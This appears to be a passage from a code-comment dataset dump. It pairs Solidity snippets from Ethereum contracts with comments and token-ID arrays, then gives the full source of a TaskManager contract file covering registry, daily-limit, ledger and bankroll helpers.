0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
54,
291,
305,
345,
27055,
14432,
203,
3639,
3273,
273,
315,
2259,
55,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
9035,
12648,
12648,
12648,
2787,
31,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x44C21d8eD909Ee4976c381fBAae99396F111efB8/sources/tests/BayBCoin.sol | is the token balance of this contract address over the min number of tokens that we need to initiate a swap + liquidity lock? also, don't get caught in a circular liquidity event. also, don't swap & liquify if sender is uniswap pair.add liquidity | function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
| 8,241,457 | [
1,
291,
326,
1147,
11013,
434,
333,
6835,
1758,
1879,
326,
1131,
1300,
434,
2430,
716,
732,
1608,
358,
18711,
279,
7720,
397,
4501,
372,
24237,
2176,
35,
2546,
16,
2727,
1404,
336,
13537,
316,
279,
15302,
4501,
372,
24237,
871,
18,
2546,
16,
2727,
1404,
7720,
473,
4501,
372,
1164,
309,
5793,
353,
640,
291,
91,
438,
3082,
18,
1289,
4501,
372,
24237,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3238,
288,
203,
3639,
2583,
12,
2080,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
5912,
3844,
1297,
506,
6802,
2353,
3634,
8863,
203,
3639,
309,
12,
2080,
480,
3410,
1435,
597,
358,
480,
3410,
10756,
203,
5411,
2583,
12,
8949,
1648,
389,
1896,
4188,
6275,
16,
315,
5912,
3844,
14399,
326,
943,
4188,
6275,
1199,
1769,
203,
203,
3639,
2254,
5034,
6835,
1345,
13937,
273,
11013,
951,
12,
2867,
12,
2211,
10019,
203,
540,
203,
3639,
309,
12,
16351,
1345,
13937,
1545,
389,
1896,
4188,
6275,
13,
203,
3639,
288,
203,
5411,
6835,
1345,
13937,
273,
389,
1896,
4188,
6275,
31,
203,
3639,
289,
203,
540,
203,
3639,
1426,
1879,
2930,
1345,
13937,
273,
6835,
1345,
13937,
1545,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
31,
203,
3639,
309,
261,
203,
5411,
1879,
2930,
1345,
13937,
597,
203,
5411,
401,
267,
12521,
1876,
48,
18988,
1164,
597,
203,
5411,
628,
480,
640,
291,
91,
438,
58,
22,
4154,
597,
203,
5411,
7720,
1876,
48,
18988,
1164,
1526,
203,
3639,
262,
288,
203,
5411,
6835,
1345,
13937,
273,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
31,
203,
5411,
7720,
2
] |
./full_match/80001/0xc595C54c70C96003d7542593879058d07230512a/sources/contracts/Escrow.sol | solhint-disable-line not-rely-on-time
| duration = _duration.add(block.timestamp); | 9,528,310 | [
1,
18281,
11317,
17,
8394,
17,
1369,
486,
17,
266,
715,
17,
265,
17,
957,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3734,
273,
389,
8760,
18,
1289,
12,
2629,
18,
5508,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.0;
contract TicTacToe {
// Basic Strucutre of a Game
struct Game {
uint blockNumberLastMove;
uint reward;
bool blockchainCourt; // true if the game is only playable through the blockchain
address proposer;
address challenged;
bytes32 state; // 11-char string where 0/1/2 is a empty/proposer/challenged position and the first two
// the current round, i.e: "06201210102" is a win by proposer
}
mapping(address => Game) Games; // TODO: CHANGE HOW THAT WORKS
mapping(address => address) duels; // TODO: CHANGE HOW THAT WORKS
function proposeGame(address challenged) payable public {
if (Games[msg.sender].blockNumberLastMove != 0) // TODO: Improve this
revert();
if (duels[challenged] != 0) // TODO: Improve this
revert();
Game storage newGame = Games[msg.sender];
duels[challenged] = msg.sender;
newGame.reward = msg.value;
newGame.blockNumberLastMove = block.number;
newGame.blockchainCourt = false;
newGame.proposer = msg.sender;
newGame.challenged = challenged;
newGame.state = "00000000000";
}
function acceptGame() payable public {
if(msg.value != Games[duels[msg.sender]].reward) { // The proposed party has to send the same amount of ETH
revert(); // TODO: Customize this
}
Games[duels[msg.sender]].reward *= 2;
Games[duels[msg.sender]].blockNumberLastMove = block.number;
}
function collectFriendlyVictory(bool proposer, bytes32 msgHash, uint8 v, bytes32 r, bytes32 s) public {
if(proposer) {
if(ecrecover(msgHash, v, r, s) == Games[msg.sender].challenged) {
if(msgHash == keccak256("surrender")) {
uint pReward = Games[msg.sender].reward; // send reward
delete duels[Games[msg.sender].challenged]; // clear mapping
delete Games[msg.sender]; // clear structure
msg.sender.transfer(pReward);
} else {
revert();
}
} else {
revert();
}
} else {
if(ecrecover(msgHash, v, r, s) == Games[duels[msg.sender]].proposer) {
if(msgHash == keccak256("surrender")){
uint cReward = Games[duels[msg.sender]].reward;
delete Games[duels[msg.sender]];
delete duels[msg.sender];
msg.sender.transfer(cReward);
} else {
revert();
}
} else {
revert();
}
}
}
}
| The proposed party has to send the same amount of ETH
| if(msg.value != Games[duels[msg.sender]].reward) { | 12,740,857 | [
1,
1986,
20084,
18285,
711,
358,
1366,
326,
1967,
3844,
434,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
12,
3576,
18,
1132,
480,
611,
753,
63,
2544,
10558,
63,
3576,
18,
15330,
65,
8009,
266,
2913,
13,
288,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x2072d16c15978a7050a93b62a315e1caa13c6c27
//Contract name: TaskManager
//Balance: 0.468635899121845162 Ether
//Verification Date: 5/11/2018
//Transacion Count: 26
// CODE STARTS HERE
pragma solidity ^0.4.23;
/******* USING Registry **************************
Gives the inherting contract access to:
.addressOf(bytes32): returns current address mapped to the name.
[modifier] .fromOwner(): requires the sender is owner.
*************************************************/
// Returned by .getRegistry()
interface IRegistry {
function owner() external view returns (address _addr);
function addressOf(bytes32 _name) external view returns (address _addr);
}
contract UsingRegistry {
IRegistry private registry;
modifier fromOwner(){
require(msg.sender == getOwner());
_;
}
constructor(address _registry)
public
{
require(_registry != 0);
registry = IRegistry(_registry);
}
function addressOf(bytes32 _name)
internal
view
returns(address _addr)
{
return registry.addressOf(_name);
}
function getOwner()
public
view
returns (address _addr)
{
return registry.owner();
}
function getRegistry()
public
view
returns (IRegistry _addr)
{
return registry;
}
}
/******* USING ADMIN ***********************
Gives the inherting contract access to:
.getAdmin(): returns the current address of the admin
[modifier] .fromAdmin: requires the sender is the admin
*************************************************/
contract UsingAdmin is
UsingRegistry
{
constructor(address _registry)
UsingRegistry(_registry)
public
{}
modifier fromAdmin(){
require(msg.sender == getAdmin());
_;
}
function getAdmin()
public
constant
returns (address _addr)
{
return addressOf("ADMIN");
}
}
/******* USING MONARCHYCONTROLLER **************************
Gives the inherting contract access to:
.getMonarchyController(): returns current IMC instance
[modifier] .fromMonarchyController(): requires the sender is current MC.
*************************************************/
// Returned by .getMonarchyController()
interface IMonarchyController {
function refreshGames() external returns (uint _numGamesEnded, uint _feesSent);
function startDefinedGame(uint _index) external payable returns (address _game);
function getFirstStartableIndex() external view returns (uint _index);
function getNumEndableGames() external view returns (uint _count);
function getAvailableFees() external view returns (uint _feesAvailable);
function getInitialPrize(uint _index) external view returns (uint);
function getIsStartable(uint _index) external view returns (bool);
}
contract UsingMonarchyController is
UsingRegistry
{
constructor(address _registry)
UsingRegistry(_registry)
public
{}
modifier fromMonarchyController(){
require(msg.sender == address(getMonarchyController()));
_;
}
function getMonarchyController()
public
view
returns (IMonarchyController)
{
return IMonarchyController(addressOf("MONARCHY_CONTROLLER"));
}
}
/******* USING TREASURY **************************
Gives the inherting contract access to:
.getTreasury(): returns current ITreasury instance
[modifier] .fromTreasury(): requires the sender is current Treasury
*************************************************/
// Returned by .getTreasury()
interface ITreasury {
function issueDividend() external returns (uint _profits);
function profitsSendable() external view returns (uint _profits);
}
contract UsingTreasury is
UsingRegistry
{
constructor(address _registry)
UsingRegistry(_registry)
public
{}
modifier fromTreasury(){
require(msg.sender == address(getTreasury()));
_;
}
function getTreasury()
public
view
returns (ITreasury)
{
return ITreasury(addressOf("TREASURY"));
}
}
/*
Exposes the following internal methods:
- _useFromDailyLimit(uint)
- _setDailyLimit(uint)
- getDailyLimit()
- getDailyLimitUsed()
- getDailyLimitUnused()
*/
contract HasDailyLimit {
// squeeze all vars into one storage slot.
struct DailyLimitVars {
uint112 dailyLimit; // Up to 5e15 * 1e18.
uint112 usedToday; // Up to 5e15 * 1e18.
uint32 lastDay; // Up to the year 11,000,000 AD
}
DailyLimitVars private vars;
uint constant MAX_ALLOWED = 2**112 - 1;
constructor(uint _limit) public {
_setDailyLimit(_limit);
}
// Sets the daily limit.
function _setDailyLimit(uint _limit) internal {
require(_limit <= MAX_ALLOWED);
vars.dailyLimit = uint112(_limit);
}
// Uses the requested amount if its within limit. Or throws.
// You should use getDailyLimitRemaining() before calling this.
function _useFromDailyLimit(uint _amount) internal {
uint _remaining = updateAndGetRemaining();
require(_amount <= _remaining);
vars.usedToday += uint112(_amount);
}
// If necessary, resets the day's usage.
// Then returns the amount remaining for today.
function updateAndGetRemaining() private returns (uint _amtRemaining) {
if (today() > vars.lastDay) {
vars.usedToday = 0;
vars.lastDay = today();
}
uint112 _usedToday = vars.usedToday;
uint112 _dailyLimit = vars.dailyLimit;
// This could be negative if _dailyLimit was reduced.
return uint(_usedToday >= _dailyLimit ? 0 : _dailyLimit - _usedToday);
}
// Returns the current day.
function today() private view returns (uint32) {
return uint32(block.timestamp / 1 days);
}
/////////////////////////////////////////////////////////////////
////////////// PUBLIC VIEWS /////////////////////////////////////
/////////////////////////////////////////////////////////////////
function getDailyLimit() public view returns (uint) {
return uint(vars.dailyLimit);
}
function getDailyLimitUsed() public view returns (uint) {
return uint(today() > vars.lastDay ? 0 : vars.usedToday);
}
function getDailyLimitRemaining() public view returns (uint) {
uint _used = getDailyLimitUsed();
return uint(_used >= vars.dailyLimit ? 0 : vars.dailyLimit - _used);
}
}
/**
This is a simple class that maintains a doubly linked list of
addresses it has seen. Addresses can be added and removed
from the set, and a full list of addresses can be obtained.
Methods:
- [fromOwner] .add()
- [fromOwner] .remove()
Views:
- .size()
- .has()
- .addresses()
*/
contract AddressSet {
struct Entry { // Doubly linked list
bool exists;
address next;
address prev;
}
mapping (address => Entry) public entries;
address public owner;
modifier fromOwner() { require(msg.sender==owner); _; }
// Constructor sets the owner.
constructor(address _owner)
public
{
owner = _owner;
}
/******************************************************/
/*************** OWNER METHODS ************************/
/******************************************************/
function add(address _address)
fromOwner
public
returns (bool _didCreate)
{
// Do not allow the adding of HEAD.
if (_address == address(0)) return;
Entry storage entry = entries[_address];
// If already exists, do nothing. Otherwise set it.
if (entry.exists) return;
else entry.exists = true;
// Replace first entry with this one.
// Before: HEAD <-> X <-> Y
// After: HEAD <-> THIS <-> X <-> Y
// do: THIS.NEXT = [0].next; [0].next.prev = THIS; [0].next = THIS; THIS.prev = 0;
Entry storage HEAD = entries[0x0];
entry.next = HEAD.next;
entries[HEAD.next].prev = _address;
HEAD.next = _address;
return true;
}
function remove(address _address)
fromOwner
public
returns (bool _didExist)
{
// Do not allow the removal of HEAD.
if (_address == address(0)) return;
Entry storage entry = entries[_address];
// If it doesn't exist already, there is nothing to do.
if (!entry.exists) return;
// Stitch together next and prev, delete entry.
// Before: X <-> THIS <-> Y
// After: X <-> Y
// do: THIS.next.prev = this.prev; THIS.prev.next = THIS.next;
entries[entry.prev].next = entry.next;
entries[entry.next].prev = entry.prev;
delete entries[_address];
return true;
}
/******************************************************/
/*************** PUBLIC VIEWS *************************/
/******************************************************/
function size()
public
view
returns (uint _size)
{
// Loop once to get the total count.
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_curEntry = entries[_curEntry.next];
_size++;
}
return _size;
}
function has(address _address)
public
view
returns (bool _exists)
{
return entries[_address].exists;
}
function addresses()
public
view
returns (address[] _addresses)
{
// Populate names and addresses
uint _size = size();
_addresses = new address[](_size);
// Iterate forward through all entries until the end.
uint _i = 0;
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_addresses[_i] = _curEntry.next;
_curEntry = entries[_curEntry.next];
_i++;
}
return _addresses;
}
}
/**
This is a simple class that maintains a doubly linked list of
address => uint amounts. Address balances can be added to
or removed from via add() and subtract(). All balances can
be obtain by calling balances(). If an address has a 0 amount,
it is removed from the Ledger.
Note: THIS DOES NOT TEST FOR OVERFLOWS, but it's safe to
use to track Ether balances.
Public methods:
- [fromOwner] add()
- [fromOwner] subtract()
Public views:
- total()
- size()
- balanceOf()
- balances()
- entries() [to manually iterate]
*/
contract Ledger {
uint public total; // Total amount in Ledger
struct Entry { // Doubly linked list tracks amount per address
uint balance;
address next;
address prev;
}
mapping (address => Entry) public entries;
address public owner;
modifier fromOwner() { require(msg.sender==owner); _; }
// Constructor sets the owner
constructor(address _owner)
public
{
owner = _owner;
}
/******************************************************/
/*************** OWNER METHODS ************************/
/******************************************************/
function add(address _address, uint _amt)
fromOwner
public
{
if (_address == address(0) || _amt == 0) return;
Entry storage entry = entries[_address];
// If new entry, replace first entry with this one.
if (entry.balance == 0) {
entry.next = entries[0x0].next;
entries[entries[0x0].next].prev = _address;
entries[0x0].next = _address;
}
// Update stats.
total += _amt;
entry.balance += _amt;
}
function subtract(address _address, uint _amt)
fromOwner
public
returns (uint _amtRemoved)
{
if (_address == address(0) || _amt == 0) return;
Entry storage entry = entries[_address];
uint _maxAmt = entry.balance;
if (_maxAmt == 0) return;
if (_amt >= _maxAmt) {
// Subtract the max amount, and delete entry.
total -= _maxAmt;
entries[entry.prev].next = entry.next;
entries[entry.next].prev = entry.prev;
delete entries[_address];
return _maxAmt;
} else {
// Subtract the amount from entry.
total -= _amt;
entry.balance -= _amt;
return _amt;
}
}
/******************************************************/
/*************** PUBLIC VIEWS *************************/
/******************************************************/
function size()
public
view
returns (uint _size)
{
// Loop once to get the total count.
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_curEntry = entries[_curEntry.next];
_size++;
}
return _size;
}
function balanceOf(address _address)
public
view
returns (uint _balance)
{
return entries[_address].balance;
}
function balances()
public
view
returns (address[] _addresses, uint[] _balances)
{
// Populate names and addresses
uint _size = size();
_addresses = new address[](_size);
_balances = new uint[](_size);
uint _i = 0;
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_addresses[_i] = _curEntry.next;
_balances[_i] = entries[_curEntry.next].balance;
_curEntry = entries[_curEntry.next];
_i++;
}
return (_addresses, _balances);
}
}
/**
A simple class that manages bankroll, and maintains collateral.
This class only ever sends profits the Treasury. No exceptions.
- Anybody can add funding (according to whitelist)
- Anybody can tell profits (balance - (funding + collateral)) to go to Treasury.
- Anyone can remove their funding, so long as balance >= collateral.
- Whitelist is managed by getWhitelistOwner() -- typically Admin.
Exposes the following:
Public Methods
- addBankroll
- removeBankroll
- sendProfits
Public Views
- getCollateral
- profits
- profitsSent
- profitsTotal
- bankroll
- bankrollAvailable
- bankrolledBy
- bankrollerTable
*/
contract Bankrollable is
UsingTreasury
{
// How much profits have been sent.
uint public profitsSent;
// Ledger keeps track of who has bankrolled us, and for how much
Ledger public ledger;
// This is a copy of ledger.total(), to save gas in .bankrollAvailable()
uint public bankroll;
// This is the whitelist of who can call .addBankroll()
AddressSet public whitelist;
modifier fromWhitelistOwner(){
require(msg.sender == getWhitelistOwner());
_;
}
event BankrollAdded(uint time, address indexed bankroller, uint amount, uint bankroll);
event BankrollRemoved(uint time, address indexed bankroller, uint amount, uint bankroll);
event ProfitsSent(uint time, address indexed treasury, uint amount);
event AddedToWhitelist(uint time, address indexed addr, address indexed wlOwner);
event RemovedFromWhitelist(uint time, address indexed addr, address indexed wlOwner);
// Constructor creates the ledger and whitelist, with self as owner.
constructor(address _registry)
UsingTreasury(_registry)
public
{
ledger = new Ledger(this);
whitelist = new AddressSet(this);
}
/*****************************************************/
/************** WHITELIST MGMT ***********************/
/*****************************************************/
function addToWhitelist(address _addr)
fromWhitelistOwner
public
{
bool _didAdd = whitelist.add(_addr);
if (_didAdd) emit AddedToWhitelist(now, _addr, msg.sender);
}
function removeFromWhitelist(address _addr)
fromWhitelistOwner
public
{
bool _didRemove = whitelist.remove(_addr);
if (_didRemove) emit RemovedFromWhitelist(now, _addr, msg.sender);
}
/*****************************************************/
/************** PUBLIC FUNCTIONS *********************/
/*****************************************************/
// Bankrollable contracts should be payable (to receive revenue)
function () public payable {}
// Increase funding by whatever value is sent
function addBankroll()
public
payable
{
require(whitelist.size()==0 || whitelist.has(msg.sender));
ledger.add(msg.sender, msg.value);
bankroll = ledger.total();
emit BankrollAdded(now, msg.sender, msg.value, bankroll);
}
// Removes up to _amount from Ledger, and sends it to msg.sender._callbackFn
function removeBankroll(uint _amount, string _callbackFn)
public
returns (uint _recalled)
{
// cap amount at the balance minus collateral, or nothing at all.
address _bankroller = msg.sender;
uint _collateral = getCollateral();
uint _balance = address(this).balance;
uint _available = _balance > _collateral ? _balance - _collateral : 0;
if (_amount > _available) _amount = _available;
// Try to remove _amount from ledger, get actual _amount removed.
_amount = ledger.subtract(_bankroller, _amount);
bankroll = ledger.total();
if (_amount == 0) return;
bytes4 _sig = bytes4(keccak256(_callbackFn));
require(_bankroller.call.value(_amount)(_sig));
emit BankrollRemoved(now, _bankroller, _amount, bankroll);
return _amount;
}
// Send any excess profits to treasury.
function sendProfits()
public
returns (uint _profits)
{
int _p = profits();
if (_p <= 0) return;
_profits = uint(_p);
profitsSent += _profits;
// Send profits to Treasury
address _tr = getTreasury();
require(_tr.call.value(_profits)());
emit ProfitsSent(now, _tr, _profits);
}
/*****************************************************/
/************** PUBLIC VIEWS *************************/
/*****************************************************/
// Function must be overridden by inheritors to ensure collateral is kept.
function getCollateral()
public
view
returns (uint _amount);
// Function must be overridden by inheritors to enable whitelist control.
function getWhitelistOwner()
public
view
returns (address _addr);
// Profits are the difference between balance and threshold
function profits()
public
view
returns (int _profits)
{
int _balance = int(address(this).balance);
int _threshold = int(bankroll + getCollateral());
return _balance - _threshold;
}
// How profitable this contract is, overall
function profitsTotal()
public
view
returns (int _profits)
{
return int(profitsSent) + profits();
}
// Returns the amount that can currently be bankrolled.
// - 0 if balance < collateral
// - If profits: full bankroll
// - If no profits: remaning bankroll: balance - collateral
function bankrollAvailable()
public
view
returns (uint _amount)
{
uint _balance = address(this).balance;
uint _bankroll = bankroll;
uint _collat = getCollateral();
// Balance is below collateral!
if (_balance <= _collat) return 0;
// No profits, but we have a balance over collateral.
else if (_balance < _collat + _bankroll) return _balance - _collat;
// Profits. Return only _bankroll
else return _bankroll;
}
function bankrolledBy(address _addr)
public
view
returns (uint _amount)
{
return ledger.balanceOf(_addr);
}
